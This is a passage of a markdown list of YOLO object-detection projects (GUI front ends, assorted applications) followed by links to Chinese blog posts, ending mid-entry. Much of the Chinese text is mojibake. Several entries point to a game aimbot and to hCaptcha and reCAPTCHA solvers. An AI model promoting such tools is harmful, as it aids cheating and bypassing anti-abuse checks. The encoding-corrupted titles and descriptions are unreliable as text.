- [WeNN-Artificial-Intelligence/PyQT-Object-Detection-App](https://github.com/WeNN-Artificial-Intelligence/PyQT-Object-Detection-App) <img src="https://img.shields.io/github/stars/WeNN-Artificial-Intelligence/PyQT-Object-Detection-App?style=social"/> : Real-time object detection app with Python and PyQt framework.
- [Powercube7/YOLOv5-GUI](https://github.com/Powercube7/YOLOv5-GUI) <img src="https://img.shields.io/github/stars/Powercube7/YOLOv5-GUI?style=social"/> : A simple GUI made for creating jobs in YOLOv5.
- [cdmstrong/yolov5-pyqt-moke](https://github.com/cdmstrong/yolov5-pyqt-moke) <img src="https://img.shields.io/github/stars/cdmstrong/yolov5-pyqt-moke?style=social"/> : ๅฉ็จyolov5ๅpyqtๅๅฏ่งๅๆฃๆตใ
- [GHigher12/Pyqt5_yolov5_unet_centernet](https://github.com/GHigher12/Pyqt5_yolov5_unet_centernet) <img src="https://img.shields.io/github/stars/GHigher12/Pyqt5_yolov5_unet_centernet?style=social"/> : ้yolov5ใcenternetใunet็ฎๆณ็pyqt5็้ข๏ผๅฏๅฎ็ฐๅพ็็ฎๆ ๆฃๆตๅ่ฏญไนๅๅฒใ
- [chenanga/qt5_yolov5_2.0](https://github.com/chenanga/qt5_yolov5_2.0) <img src="https://img.shields.io/github/stars/chenanga/qt5_yolov5_2.0?style=social"/> : PyqtๆญๅปบYOLOV5็ฎๆ ๆฃๆต็้ข-็ฌฌไธๆฌกไผๅๅ็็ๆฌใ
- [xun-xh/yolov5-onnx-pyqt-exe](https://github.com/xun-xh/yolov5-onnx-pyqt-exe) <img src="https://img.shields.io/github/stars/xun-xh/yolov5-onnx-pyqt-exe?style=social"/> : ๅบไบYolov5 + PyQt5 + onnxruntime็็ฎๆ ๆฃๆต้จ็ฝฒใ
- [LPC1616/pyqt-yolox-modbus](https://github.com/LPC1616/pyqt-yolox-modbus) <img src="https://img.shields.io/github/stars/LPC1616/pyqt-yolox-modbus?style=social"/> : qt็้ข+yolox่ฏๅซ็ฎๆณ+modbus้ไฟกใ
- [zawawiAI/yolo_gpt](https://github.com/zawawiAI/yolo_gpt) <img src="https://img.shields.io/github/stars/zawawiAI/yolo_gpt?style=social"/> : This is a GUI application that integrates YOLOv8 object recognition with OpenAI's GPT-3 language generation model.
- [LSH9832/yolov5_training_tool](https://github.com/LSH9832/yolov5_training_tool) <img src="https://img.shields.io/github/stars/LSH9832/yolov5_training_tool?style=social"/> : ๆฌๅทฅๅ
ทไฝฟ็จPYQT5็ผๅ็้ขใ้่ฟไฝฟ็จ่ฏฅๅทฅๅ
ทๅฏไปฅๅฟซ้้จ็ฝฒ็ธๅบๆฐๆฎ้ๅนถ่ฎญ็ป๏ผ็ฎๅไปๅจไธๆญๆดๆฐไธญ๏ผ่พๅคง็็ผบ็นๆฏ็ฎๅๅชๆฏๆPascalVOCๆ ผๅผ็xmlๆ ็ญพๆไปถ๏ผๆไปฅๅ
ถๅฎๆ ผๅผ็ๆ ็ญพๆไปถ้่ฆๅ
่ฝฌๆขไธบPascalVOC็ๆ ผๅผ๏ผไธ็ฎๅไป
้็จไบLinux็ณป็ปไธไป
ๅจUbuntu16.04-20.04่ฏ่ฟ่กใ
- [Egrt/YOLO_PyQt5](https://github.com/Egrt/YOLO_PyQt5) <img src="https://img.shields.io/github/stars/Egrt/YOLO_PyQt5?style=social"/> : ไฝฟ็จPyqt5ๆญๅปบYOLO็ณปๅๅค็บฟ็จ็ฎๆ ๆฃๆต็ณป็ปใ
- [smartwj/yolov5_pyqt5](https://github.com/smartwj/yolov5_pyqt5) <img src="https://img.shields.io/github/stars/smartwj/yolov5_pyqt5?style=social"/> : ๅบไบyolov5็pyqt5็ฎๆ ๆฃๆตๅพๅฝขไธไฝๆบๅทฅๅ
ทใ
- [LitChi-bit/YOLOv5-6.0-GUI](https://github.com/LitChi-bit/YOLOv5-6.0-GUI) <img src="https://img.shields.io/github/stars/LitChi-bit/YOLOv5-6.0-GUI?style=social"/> : Qt-GUI implementation of the YOLOv5 algorithm (ver.6).
- [BraunGe/YOLOv5-GUI](https://github.com/BraunGe/YOLOv5-GUI) <img src="https://img.shields.io/github/stars/BraunGe/YOLOv5-GUI?style=social"/> : A GUI for YOLOv5, support all the 11 inference formats that YOLOv5 supports.
- [PetervanLunteren/EcoAssist](https://github.com/PetervanLunteren/EcoAssist) <img src="https://img.shields.io/github/stars/PetervanLunteren/EcoAssist?style=social"/> : A no-code platform to train and deploy YOLOv5 object detection models.
- [SwimmingLiu/yolov7-Pyside6](https://github.com/SwimmingLiu/yolov7-Pyside6) <img src="https://img.shields.io/github/stars/SwimmingLiu/yolov7-Pyside6?style=social"/> : PySide6 implementation of YOLOv7 GUI.
- #### PySide-Related
- [JSwimmingLiu/YOLOSHOW](https://github.com/SwimmingLiu/YOLOSHOW) <img src="https://img.shields.io/github/stars/SwimmingLiu/YOLOSHOW?style=social"/> : YOLO SHOW - YOLOv10 / YOLOv9 / YOLOv8 / YOLOv7 / YOLOv5 / RTDETR GUI based on Pyside6.[swimmingliu.cn/posts/diary/yoloshow](https://swimmingliu.cn/posts/diary/yoloshow)
- [Jai-wei/YOLOv8-PySide6-GUI](https://github.com/Jai-wei/YOLOv8-PySide6-GUI) <img src="https://img.shields.io/github/stars/Jai-wei/YOLOv8-PySide6-GUI?style=social"/> : YoloSide - YOLOv8 GUI By PySide6.
- #### Flutter-Related
- [hiennguyen92/flutter_realtime_object_detection](https://github.com/hiennguyen92/flutter_realtime_object_detection) <img src="https://img.shields.io/github/stars/hiennguyen92/flutter_realtime_object_detection?style=social"/> : Flutter App real-time object detection with Tensorflow Lite.
- #### Slint-Related
- [codingonion/yolov5-gui-slint](https://github.com/codingonion/yolov5-gui-slint) <img src="https://img.shields.io/github/stars/codingonion/yolov5-gui-slint?style=social"/> : YOLOv5 GUI inference framework built with Slint.
- ### Other Applications
#### ๅ
ถๅฎๅบ็จ
- [Ikomia-dev/IkomiaApi](https://github.com/Ikomia-dev/IkomiaApi) <img src="https://img.shields.io/github/stars/Ikomia-dev/IkomiaApi?style=social"/> : State-of-the-art algorithms in Computer Vision with a few lines of code.
- [penny4860/Yolo-digit-detector](https://github.com/penny4860/Yolo-digit-detector) <img src="https://img.shields.io/github/stars/penny4860/Yolo-digit-detector?style=social"/> : Implemented digit detector in natural scene using resnet50 and Yolo-v2. I used SVHN as the training set, and implemented it using tensorflow and keras.
- [chineseocr/table-detect](https://github.com/chineseocr/table-detect) <img src="https://img.shields.io/github/stars/chineseocr/table-detect?style=social"/> : table detect(yolo) , table line(unet) ๏ผ่กจๆ ผๆฃๆต/่กจๆ ผๅๅ
ๆ ผๅฎไฝ๏ผใ
- [thisiszhou/SexyYolo](https://github.com/thisiszhou/SexyYolo) <img src="https://img.shields.io/github/stars/thisiszhou/SexyYolo?style=social"/> : An implementation of Yolov3 with Tensorflow1.x, which could detect COCO and sexy or porn person simultaneously.
- [javirk/Person_remover](https://github.com/javirk/Person_remover) <img src="https://img.shields.io/github/stars/javirk/Person_remover?style=social"/> : People removal in images using Pix2Pix and YOLO.
- [foschmitz/yolo-python-rtsp](https://github.com/foschmitz/yolo-python-rtsp) <img src="https://img.shields.io/github/stars/foschmitz/yolo-python-rtsp?style=social"/> : Object detection using deep learning with Yolo, OpenCV and Python via Real Time Streaming Protocol (RTSP).
- [ismail-mebsout/Parsing-PDFs-using-YOLOV3](https://github.com/ismail-mebsout/Parsing-PDFs-using-YOLOV3) <img src="https://img.shields.io/github/stars/ismail-mebsout/Parsing-PDFs-using-YOLOV3?style=social"/> : Parsing pdf tables using YOLOV3.
- [008karan/PAN_OCR](https://github.com/008karan/PAN_OCR) <img src="https://img.shields.io/github/stars/008karan/PAN_OCR?style=social"/> : Building OCR using YOLO and Tesseract.
- [zeyad-mansour/lunar](https://github.com/zeyad-mansour/lunar) <img src="https://img.shields.io/github/stars/zeyad-mansour/lunar?style=social"/> : Lunar is a neural network aimbot that uses real-time object detection accelerated with CUDA on Nvidia GPUs.
- [lannguyen0910/food-recognition](https://github.com/lannguyen0910/food-recognition) <img src="https://img.shields.io/github/stars/lannguyen0910/food-recognition?style=social"/> : ๐๐๐ Food analysis baseline with Theseus. Integrate object detection, image classification and multi-class semantic segmentation. ๐๐๐
- [killnice/yolov5-D435i](https://github.com/killnice/yolov5-D435i) <img src="https://img.shields.io/github/stars/killnice/yolov5-D435i?style=social"/> : using yolov5 and realsense D435i.
- [SahilChachra/Video-Analytics-Dashboard](https://github.com/SahilChachra/Video-Analytics-Dashboard) <img src="https://img.shields.io/github/stars/SahilChachra/Video-Analytics-Dashboard?style=social"/> : Video Analytics dashboard built using YoloV5 and Streamlit.
- [isLinXu/YOLOv5_Efficient](https://github.com/isLinXu/YOLOv5_Efficient) <img src="https://img.shields.io/github/stars/isLinXu/YOLOv5_Efficient?style=social"/> : Use yolov5 efficiently(้ซๆๅฐไฝฟ็จYolo v5).
- [HRan2004/Yolo-ArbV2](https://github.com/HRan2004/Yolo-ArbV2) <img src="https://img.shields.io/github/stars/HRan2004/Yolo-ArbV2?style=social"/> : Yolo-ArbV2 ๅจๅฎๅ
จไฟๆYOLOv5ๅ่ฝๆ
ๅตไธ๏ผๅฎ็ฐๅฏ้ๅค่พนๅฝขไฟกๆฏ่พๅบใ
- [Badw0lf613/wmreading_system](https://github.com/Badw0lf613/wmreading_system) <img src="https://img.shields.io/github/stars/Badw0lf613/wmreading_system?style=social"/> : ๅบไบYOLOv5็ๆฐด่กจ่ฏปๆฐ็ณป็ปใ
- [zgcr/SimpleAICV-pytorch-ImageNet-COCO-training](https://github.com/zgcr/SimpleAICV-pytorch-ImageNet-COCO-training) <img src="https://img.shields.io/github/stars/zgcr/SimpleAICV-pytorch-ImageNet-COCO-training?style=social"/> : SimpleAICV:pytorch training example on ImageNet(ILSVRC2012)/COCO2017/VOC2007+2012 datasets.Include ResNet/DarkNet/RetinaNet/FCOS/CenterNet/TTFNet/YOLOv3/YOLOv4/YOLOv5/YOLOX.
- [ErenKaymakci/Real-Time-QR-Detection-and-Decoding](https://github.com/ErenKaymakci/Real-Time-QR-Detection-and-Decoding) <img src="https://img.shields.io/github/stars/ErenKaymakci/Real-Time-QR-Detection-and-Decoding?style=social"/> : This repo explain how qr codes works, qr detection and decoding.
- [LUMAIS/AntDet_YOLOv5](https://github.com/LUMAIS/AntDet_YOLOv5) <img src="https://img.shields.io/github/stars/LUMAIS/AntDet_YOLOv5?style=social"/> : Ants and their Activiteis (Trophallaxis) Detection using YOLOv5 based on PyTorch.
- [Jiseong-Ok/OCR-Yolov5-SwinIR-SVTR](https://github.com/Jiseong-Ok/OCR-Yolov5-SwinIR-SVTR) <img src="https://img.shields.io/github/stars/Jiseong-Ok/OCR-Yolov5-SwinIR-SVTR?style=social"/> : OCR(Korean).
- [QIN2DIM/hcaptcha-challenger](https://github.com/QIN2DIM/hcaptcha-challenger) <img src="https://img.shields.io/github/stars/QIN2DIM/hcaptcha-challenger?style=social"/> : ๐ฅ Gracefully face hCaptcha challenge with YOLOv6(ONNX) embedded solution.
- [bobjiangps/vision](https://github.com/bobjiangps/vision) <img src="https://img.shields.io/github/stars/bobjiangps/vision?style=social"/> : UI auto test framework based on YOLO to recognize elements, less code, less maintenance, cross platform, cross project / ๅบไบYOLO็UIๅฑ่ชๅจๅๆต่ฏๆกๆถ, ๅฏ่ฏๅซๆงไปถ็ฑปๅ๏ผๅๅฐไปฃ็ ๅ็ปดๆค๏ผไธๅฎ็จๅบฆไธ่ทจๅนณๅฐ่ทจ้กน็ฎใ
- [RizwanMunawar/yolov7-object-cropping](https://github.com/RizwanMunawar/yolov7-object-cropping) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov7-object-cropping?style=social"/> : YOLOv7 Object Cropping Using OpenCV.
- [RizwanMunawar/yolov7-object-blurring](https://github.com/RizwanMunawar/yolov7-object-blurring) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov7-object-blurring?style=social"/> : YOLOv7 Object Blurring Using PyTorch and OpenCV.
- [pacocp/YOLOF](https://github.com/pacocp/YOLOF) <img src="https://img.shields.io/github/stars/pacocp/YOLOF?style=social"/> : ๐น YOLO meets Optical Flow.
- [FabianPlum/OmniTrax](https://github.com/FabianPlum/OmniTrax) <img src="https://img.shields.io/github/stars/FabianPlum/OmniTrax?style=social"/> : Deep learning-based multi animal tracking and pose estimation Blender Add-on.
- [aweihao/ExDark2Yolo](https://github.com/aweihao/ExDark2Yolo) <img src="https://img.shields.io/github/stars/aweihao/ExDark2Yolo?style=social"/> : Convert ExDark annotated format data to YOLO format data. / ๅฐExDarkๆ ๆณจๆ ผๅผ็ๆฐๆฎ่ฝฌๆขๆYOLOๆ ผๅผ็ๆฐๆฎใ
- [ozankaraali/yolov3-recaptcha](https://github.com/ozankaraali/yolov3-recaptcha) <img src="https://img.shields.io/github/stars/ozankaraali/yolov3-recaptcha?style=social"/> : Solve Recaptcha with YoloV3. A proof of concept Recaptcha solver using YOLOv3 on Tensorflow 2.0 and Selenium. This tutorial shows that with a better trained object detection weight file, ReCaptcha can be easily solved.
- [jyp-studio/Invoice_detection](https://github.com/jyp-studio/Invoice_detection) <img src="https://img.shields.io/github/stars/jyp-studio/Invoice_detection?style=social"/> : This is an AI model for detecting and recognizing invoice information by yolov5 and OCR.
- [vmc-7645/YOLOv8-retail](https://github.com/vmc-7645/YOLOv8-retail) <img src="https://img.shields.io/github/stars/vmc-7645/YOLOv8-retail?style=social"/> : Detect retail products via the YOLOv8 object recognition engine.
- [TAber-W/RM_4-points_yolov5](https://github.com/TAber-W/RM_4-points_yolov5) <img src="https://img.shields.io/github/stars/TAber-W/RM_4-points_yolov5?style=social"/> : Robomaster ๅบไบyolofaceๅMobileNetไฟฎๆน็ๅ็นๆจกๅ.
- [eternal-echo/picking](https://github.com/eternal-echo/picking) <img src="https://img.shields.io/github/stars/eternal-echo/picking?style=social"/> : ๅบไบYOLO v5่ง่งๅๆฃ้ถไปถ็ณป็ป่ฎพ่ฎกใ
- [swordswind/yolo_ocr_api_server](https://github.com/swordswind/yolo_ocr_api_server) <img src="https://img.shields.io/github/stars/swordswind/yolo_ocr_api_server?style=social"/> : YOLOv10&EasyOCR่ๅๅพๅ่ฏๅซAPIๆๅกๅจใ
## Blogs
- [็ฅไนใๆฑๅคง็ฝใ| ๅพฎไฟกๅ
ฌไผๅทใๆฑๅคง็ฝใ](https://www.zhihu.com/people/nan-yang-8-13)
- [2020-05-27๏ผๆทฑๅ
ฅๆต
ๅบYolo็ณปๅไนYolov3&Yolov4&Yolov5&Yoloxๆ ธๅฟๅบ็ก็ฅ่ฏๅฎๆด่ฎฒ่งฃ](https://zhuanlan.zhihu.com/p/143747206)
- [2020-08-10๏ผๆทฑๅ
ฅๆต
ๅบYolo็ณปๅไนYolov5ๆ ธๅฟๅบ็ก็ฅ่ฏๅฎๆด่ฎฒ่งฃ](https://zhuanlan.zhihu.com/p/172121380)
- [2021-08-09๏ผๆทฑๅ
ฅๆต
ๅบYoloxไน่ชๆๆฐๆฎ้่ฎญ็ป่ถ
่ฏฆ็ปๆ็จ](https://zhuanlan.zhihu.com/p/397499216)
- [2021-08-11๏ผๆทฑๅ
ฅๆต
ๅบYolo็ณปๅไนYoloxๆ ธๅฟๅบ็กๅฎๆด่ฎฒ่งฃ](https://zhuanlan.zhihu.com/p/397993315)
- [2022-01-30๏ผๆทฑๅ
ฅๆต
ๅบ0ๅบ็กๅ
ฅ้จAIๅ็ฎๆ ๆฃๆต่ฏฆ็ปๅญฆไน ่ทฏๅพ](https://zhuanlan.zhihu.com/p/463221190)
- [2022-01-30๏ผๆทฑๅ
ฅๆต
ๅบYolov5ไน่ชๆๆฐๆฎ้่ฎญ็ป่ถ
่ฏฆ็ปๆ็จ](https://zhuanlan.zhihu.com/p/463176500)
- [2022-11-03๏ผๅฎ่ทตๆ็จ | ๅจyolov5ไธ้ช่ฏ็ไธไบๆณๆณๅฐ่ฏ](https://mp.weixin.qq.com/s/HqXJov5fWIlgKhMp2_Ca7g)
- [2022-12-17๏ผYOLOv6็ฒพๅบฆๆทฑๅบฆไผๅ๏ผๆ็ฅ้ๅ็้ๅๅ่ฎพ่ฎก](https://mp.weixin.qq.com/s/lm77Fe4e6e_cx_gJYhp8QA)
- [2022-12-28๏ผRepvgg้ๅๆฐๅ๏ผYOLOๆฃๆต็ฎๆณๆถจ็นๅฎ่ทต๏ผ](https://mp.weixin.qq.com/s/QZnpo24537fhGeFj7-MR_Q)
- [2023-01-16๏ผYOLOv8่ชๆๆฐๆฎ้่ฎญ็ป๏ผๅๅคไปปๅกไฝฟ็จ่ฏฆ็ปๆ็จ](https://mp.weixin.qq.com/s/zhoFAKvFOHh0T1R2fvwZxQ)
- [2023-01-28๏ผYOLOv8+DeepSORTๅ็่ฎฒ่งฃๅๅฎ็ฐ๏ผ้ๆบ็ ๏ผ](https://mp.weixin.qq.com/s/rDpbzIG95TmgpJQH71QY8g)
- [2023-02-23๏ผๆทฑๅ
ฅๆต
ๅบTensorRTไธญONNXๆจกๅ่งฃๆ่ฟ็จ](https://mp.weixin.qq.com/s/C3O3QeSUnu4LUBxHZtur7A)
- [2023-02-24๏ผๆจกๅ้จ็ฝฒ | TensorRTๅ ้PyTorchๅฎๆ้จ็ฝฒๆ็จ๏ผๅผๅพๆถ่ๅญฆไน ๏ผ](https://mp.weixin.qq.com/s/AdnfJ48mnwFejTtHN4v70w)
- [2023-02-25๏ผYOLOv8+ByteTrack๏ผไฝ่
ๅผๆบๅค็ฎๆ ่ท่ธช็ฎๆณ](https://mp.weixin.qq.com/s/DZcVdwFZP3TKaTk0n98oeg)
- [2023-02-27๏ผๅบไบYOLOv5็ๅ็็ฃ็ฎๆ ๆฃๆต๏ผ็ฎๆณ่ฟ้ถไน่ทฏ๏ผ้ฟ้ๅข้ๆฐไฝ๏ผ๏ผ้่ฎบๆๅๆบ็ ๏ผ](https://mp.weixin.qq.com/s/9qpuLCvgaQjc_JOdZchxjQ)
- [2023-03-18๏ผEfficient Teacher๏ผ้ๅฏนYOLOv5็ๅ็็ฃ็ฎๆ ๆฃๆต็ฎๆณ๏ผ้่ฎบๆๅๆบ็ ๏ผ](https://mp.weixin.qq.com/s/3YnNAx_2PFqpxLUZZWoYAg)
- [2023-03-20๏ผonnxๆจกๅ่ฝฌๆข๏ผopไธๆฏๆๆถ็ๅฟๅพ็ป้ชๅไบซ](https://mp.weixin.qq.com/s/qkktjhALMKgRwSSiq6n5bA)
- [2023-03-24๏ผๆทฑๅบฆๅญฆไน ๆจกๅ่ฎญ็ปไธญ๏ผGPUๅๆพๅญๅๆ](https://mp.weixin.qq.com/s/xyCNXUBE2rTjTUnK6bBm7g)
- [2023-03-25๏ผPyTorchๆจกๅ่ฎญ็ป๏ผๅนถ่กๅ ้ๆนๆณๆขณ็ๆฑๆป](https://mp.weixin.qq.com/s/54FaTRh8dUXwI4JqO9LAsQ)
- [2023-03-27๏ผๅบไบYOLO็้ๅๆ่กจ้ข็ผบ้ท่ฏๅซ ](https://mp.weixin.qq.com/s/sTL6aATIDOh8RpicU2B9tA)
- [2023-03-31๏ผๅฐ็ฎๆ ๆฃๆต็ฒพๅบฆไผๅๆนๅผ๏ผCEASAๆจกๅ๏ผๅณๆๅณ็จ๏ผ้่ฎบๆๅๆบ็ ๏ผ](https://mp.weixin.qq.com/s/fXV3rdB_YtSVap0FtK_AeQ)
- [2023-04-01๏ผGPU ๅฉ็จ็ไฝๅธธ่งๅๅ ๅๆๅไผๅ](https://mp.weixin.qq.com/s/LCJZqnNB6C15EEMPB1X-hQ)
- [2023-04-03๏ผๅฐ็ฎๆ ๆฃๆต็ฎๆณ๏ผYolov5ไผๅๅ็บง ๏ผๅณๆๅณ็จ๏ผๅผๅพๅฐ่ฏ๏ผ](https://mp.weixin.qq.com/s/KEdsJO1z19sq7rTtwyC4Rg)
- [2023-04-22๏ผCUDAๅท็งฏ็ฎๅญ๏ผๆๅ่ฏฆ็ปๅฎ็ฐๆต็จ](https://mp.weixin.qq.com/s/3rQQ31LWxvDli_1uwGsHIw)
- [2023-04-28๏ผๆทฑๅ
ฅๆต
ๅบPyTorchๆจกๅ๏ผint8้ๅๅๅ็ๆต็จ](https://mp.weixin.qq.com/s/pij3APMt_wtyS6St89lbdQ)
- [2023-04-29๏ผAI่ง่ง้กน็ฎ๏ผๅพๅๆ ๆณจๅทฅๅ
ทๆขณ็ๆฑๆป](https://mp.weixin.qq.com/s/SvgTQfKqGlI5DsrsmfKUhA)
- [2023-05-08๏ผLabel-Studio X SAM๏ผๅ่ชๅจๅๆ ๆณจ็ฅๅจ๏ผ้ๆบ็ ๏ผ](https://mp.weixin.qq.com/s/f-sD8ukV3Nm28_-yHi44BA)
- [2023-05-09๏ผๆทฑๅ
ฅๆต
ๅบๅค็ฎๆ ่ท่ธชๆๆฏ็็ ็ฉถไธๆข็ดข](https://mp.weixin.qq.com/s/aYam5aQXJTZ1ysubEfewYA)
- [2023-05-10๏ผ่ถ
ๅผบ็ฎๆ ๆฃๆตๅจRT-DETR๏ผไฟๅง็บง้จ็ฝฒๆ็จ๏ผไปๅ
ฅ้จๅฐ็ฒพ้๏ผ้่ฎบๆๅๆบ็ ๏ผ](https://mp.weixin.qq.com/s/NfUWJ5cBTXvuB45l1hnSfw)
- [2023-05-13๏ผYOLOCS็ฎๆ ๆฃๆต็ฎๆณ๏ผYOLOv5็Backbone/Neck/Headๅ
จ้ขๆน่ฟ](https://mp.weixin.qq.com/s/exo2JkLluChvLDSif2JvMQ)
- [2023-05-17๏ผไธๆ็ๅฐฝๆทฑๅบฆๅญฆไน ๅ็งๆณจๆๅๆบๅถ๏ผๅญฆไน ๆจ่๏ผ](https://mp.weixin.qq.com/s/PkzzElN1uk2Yzu1DsYnOdQ)
- [2023-05-26๏ผไธๆ่ฏปๆPyTorchๆพๅญ็ฎก็ๆบๅถ๏ผๆจ่ๅญฆไน ๏ผ](https://mp.weixin.qq.com/s/a9LK35lLE4yfQkqvBp6ujQ)
- [2023-06-05๏ผไธคไธๅญ้ฟๆ๏ผ็ฎๆ ๆฃๆตๅ
ฅ้จ็่ฟ็ฏๅฐฑๅคไบ๏ผๆจ่ๆถ่๏ผ](https://mp.weixin.qq.com/s/EBc1JrR5n4BlWGBx8kuiXw)
- [2023-06-07๏ผๆๆๆๅธฆไฝ ๏ผ่ชๅทฑ่ฎพ่ฎกๅฎ็ฐไธไธชๆทฑๅบฆๅญฆไน ๆกๆถ๏ผ้ไปฃ็ ๅฎ็ฐ๏ผ](https://mp.weixin.qq.com/s/-8A_XaOwHyg653UyRbArQQ)
- [2023-06-12๏ผMMDetection็ฎๆ ๆฃๆตๆกๆถ่ฏฆ่งฃ๏ผๅ่ฎญ็ป่ชๆๆฐๆฎ้ๆ็จ](https://mp.weixin.qq.com/s/U3irSW9UTKt0gY0HCV9slQ)
- [2023-06-19๏ผไธๅญ้ฟๆ๏ผๅฝปๅบๆๆYOLOv8็ฝ็ป็ปๆๅไปฃ็ ๅฎๆ๏ผ](https://mp.weixin.qq.com/s/vXIx7dBRxgxnvh5BoIRQZw)
- [2023-06-27๏ผTensorRTๆจกๅ้จ็ฝฒ๏ผๆทปๅ ่ชๅทฑๆไปถ็่ฝๅฐๆนๅผ](https://mp.weixin.qq.com/s/E-Iebdd4Es5UK-TrBUJcjA)
- [2023-06-29๏ผYOLOv7+Transformer้จ็ฝฒ๏ผTensorRTๅบ็จๅฎๆ๏ผ้ไปฃ็ ๏ผ](https://mp.weixin.qq.com/s/znxT8nsfkq0s5NHRnAxYaw)
- [2023-07-06๏ผไธๅญ้ฟๆ๏ผๅบไบPyTorch็ๅค็งๅท็งฏ็ฅ็ป็ฝ็ปBackBoneไปฃ็ ๅฎ็ฐ](https://mp.weixin.qq.com/s/TQ88Oex6YTKAkUZL3kLu3A)
- [2023-07-21๏ผไธๅญ้ฟๆ๏ผYOLOv5ๆๅฟ่ฏๅซ่ฎญ็ป่ฝฌๆขๅๆจกๅ้จ็ฝฒ๏ผ๏ผ้ไปฃ็ ๏ผ](https://mp.weixin.qq.com/s/1yvJIObEs9H4C9Qd3tb9kA)
- [2023-08-03๏ผTensorRTๆจกๅINT8้ๅ๏ผPythonไปฃ็ ้จ็ฝฒๅฎ็ฐ](https://mp.weixin.qq.com/s/Phu7UmPKuSrUOhCQDV2xEQ)
- [2023-08-12๏ผ็ฎๆ ๆฃๆต็ฎๆณ๏ผๆฃๆตๆกไฝ็ฝฎไผๅๆป็ป](https://mp.weixin.qq.com/s/_JDPP7Yq8E4bXxZtWlOy6Q)
- [2023-09-01๏ผๅบไบYolo็ฎๆณ็AIๆฐ้ข็ญ๏ผๆดไฝ่งฃๅณๆนๆกๆฑๆป](https://mp.weixin.qq.com/s/plWUuEVkbK-nDycqVDFU8A)
- [2024-01-26๏ผๆทฑๅ
ฅๆต
ๅบ๏ผYOLOv8็ฎๆณไฝฟ็จๆๅ](https://mp.weixin.qq.com/s/9naZZ7wXugppelcmPHGVlQ)
- [2024-02-23๏ผ็ฎๆ ๆฃๆตYOLOv9็ฎๆณ๏ผ้็ฃ
ๅผๆบ๏ผ๏ผ้่ฎบๆๅๆบ็ ๏ผ](https://mp.weixin.qq.com/s/RVG-9h8zKsWACMr6dDRpUQ)
- [2024-04-12๏ผๆทฑๅ
ฅๆต
ๅบ๏ผPyTorchๆจกๅint8้ๅๅ็ๆ่งฃ](https://mp.weixin.qq.com/s/j2QS3LdudrrlyZYQkVrl5Q)
- [็ฅไนใ่ฟช่ฟฆๅฅฅ็นๆผใ](https://www.zhihu.com/people/nemofeng95)
- [2022-08-12๏ผไป็พๅบฆ้ฃๆกจYOLOSeriesๅบ็ๅไธชYOLOๆจกๅ](https://zhuanlan.zhihu.com/p/550057480)
- [2022-09-21๏ผYOLOๅ
ๅทๆถๆ่ฏฅๅฆไฝ้ๆจกๅ๏ผ](https://zhuanlan.zhihu.com/p/566469003)
- [็ฅไนใPoemAIใ](https://www.zhihu.com/people/LEYM2)
- [2022-07-10๏ผYOLOๅฎถๆ่ฟๅๅฒ๏ผv1-v7๏ผ](https://zhuanlan.zhihu.com/p/539932517)
- [็ฅไนใ็งๆ็ๅ
ฝใ](https://www.zhihu.com/people/wang-jia-hao-53-3)
- [2020-08-14๏ผไฝ ไธๅฎไปๆช็่ฟๅฆๆญค้ไฟๆๆ็YOLO็ณปๅ(ไปv1ๅฐv5)ๆจกๅ่งฃ่ฏป (ไธ)](https://zhuanlan.zhihu.com/p/183261974)
- [2020-08-21๏ผไฝ ไธๅฎไปๆช็่ฟๅฆๆญค้ไฟๆๆ็YOLO็ณปๅ(ไปv1ๅฐv5)ๆจกๅ่งฃ่ฏป (ไธญ)](https://zhuanlan.zhihu.com/p/183781646)
- [2020-08-17๏ผไฝ ไธๅฎไปๆช็่ฟๅฆๆญค้ไฟๆๆ็YOLO็ณปๅ(ไปv1ๅฐv5)ๆจกๅ่งฃ่ฏป (ไธ)](https://zhuanlan.zhihu.com/p/186014243)
- [็ฅไนใCVๆๆฏๆๅใ| ๅพฎไฟกๅ
ฌไผๅทใCVๆๆฏๆๅใ](https://www.zhihu.com/people/cvji-zhu-zhi-nan)
- [2021-08-26๏ผ็ฎๆ ๆฃๆตmAP็่ฎก็ฎ & COCO็่ฏไปทๆๆ ](https://mp.weixin.qq.com/s/gpr7JZMRgp8B5RxhVzt_mQ)
- [2022-04-07๏ผYOLO็ณปๅๆขณ็๏ผไธ๏ผYOLOv1-YOLOv3](https://zhuanlan.zhihu.com/p/494572914)
- [2022-04-15๏ผYOLO็ณปๅๆขณ็ไธๅคไน ๏ผไบ๏ผYOLOv4 ](https://mp.weixin.qq.com/s/2lndImcah5QJJJiEujGOsA)
- [2022-04-24๏ผYOLO็ณปๅๆขณ็๏ผไธ๏ผYOLOv5](https://zhuanlan.zhihu.com/p/503971609)
- [2022-06-26๏ผYOLO็ณปๅๆขณ็๏ผไน๏ผๅๅฐๆฐ้ฒๅบ็็YOLOv6](https://zhuanlan.zhihu.com/p/534090250)
- [2022-07-19๏ผYOLO็ณปๅๆขณ็๏ผๅ๏ผYOLOๅฎๆน้ๅๆฑๆน ๅนถๅธฆๆฅไบYOLOv7](https://zhuanlan.zhihu.com/p/543574708)
- [2023-03-11๏ผ็ฎๆ ่ท่ธชไธๆ ๏ผไธ๏ผๅบๆฌไปปๅกใๅธธ็จๆนๆณ](https://mp.weixin.qq.com/s/DKHOlLtjO2OBtIWlA3cpzg)
- [2023-04-17๏ผ็ฎๆ ่ท่ธช๏ผไบ๏ผๅใๅค็ฎๆ ่ท่ธช็ๅบๆฌๆฆๅฟตไธๅธธ็จๆฐๆฎ้](https://mp.weixin.qq.com/s/N50tOvJwNRZhyoVq6Fc-ig)
- [2023-05-11๏ผๅ
จๆฐYOLOๆจกๅYOLOCSๆฅๅฆ | ้ข้ขไฟฑๅฐๅฐๆน่ฟYOLOv5็Backbone/Neck/Head](https://mp.weixin.qq.com/s/wnxOd-DukIpea5j2Dqcpbw)
- [2024-04-16๏ผYOLC ๆฅ่ขญ | ้ฅ้ฅ้ขๅ
๏ผYOLOไธCenterNetๆๆณ็ซ่ฑ็ขฐๆ๏ผ่ฎฉๅฐ็ฎๆ ็ๆฃๆตๆง่ฝๅๅฐ่ตท้ฃ๏ผ่ฝๅฐไปทๅผๆๅคง !](https://mp.weixin.qq.com/s/cCegxKb1VWxmhpZZwCk1WA)
- [็ฅไนใๆๅธๅนณๅฐใ| ๅพฎไฟกๅ
ฌไผๅทใๆๅธๅนณๅฐใ](https://www.zhihu.com/org/ji-shi-jiao-14)
- [2020-11-17๏ผYOLO็ฎๆณๆๅ
